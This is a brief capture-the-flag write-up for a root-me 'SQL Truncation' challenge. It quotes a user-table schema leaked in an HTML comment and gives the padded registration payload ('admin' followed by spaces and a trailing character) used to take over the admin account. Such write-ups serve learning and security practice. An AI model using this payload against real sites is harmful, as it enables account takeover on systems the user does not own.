SQL truncation

root-me challenge: SQL Truncation: Gain access to the administration zone.

---

Trying to register as admin, in the response:

<!--
CREATE TABLE IF NOT EXISTS user(   
	id INT NOT NULL AUTO_INCREMENT,
    login VARCHAR(12),
    password CHAR(32),
    PRIMARY KEY (id));
-->

Using SQL Truncation Attack:

login=admin+++++++a&password=admin123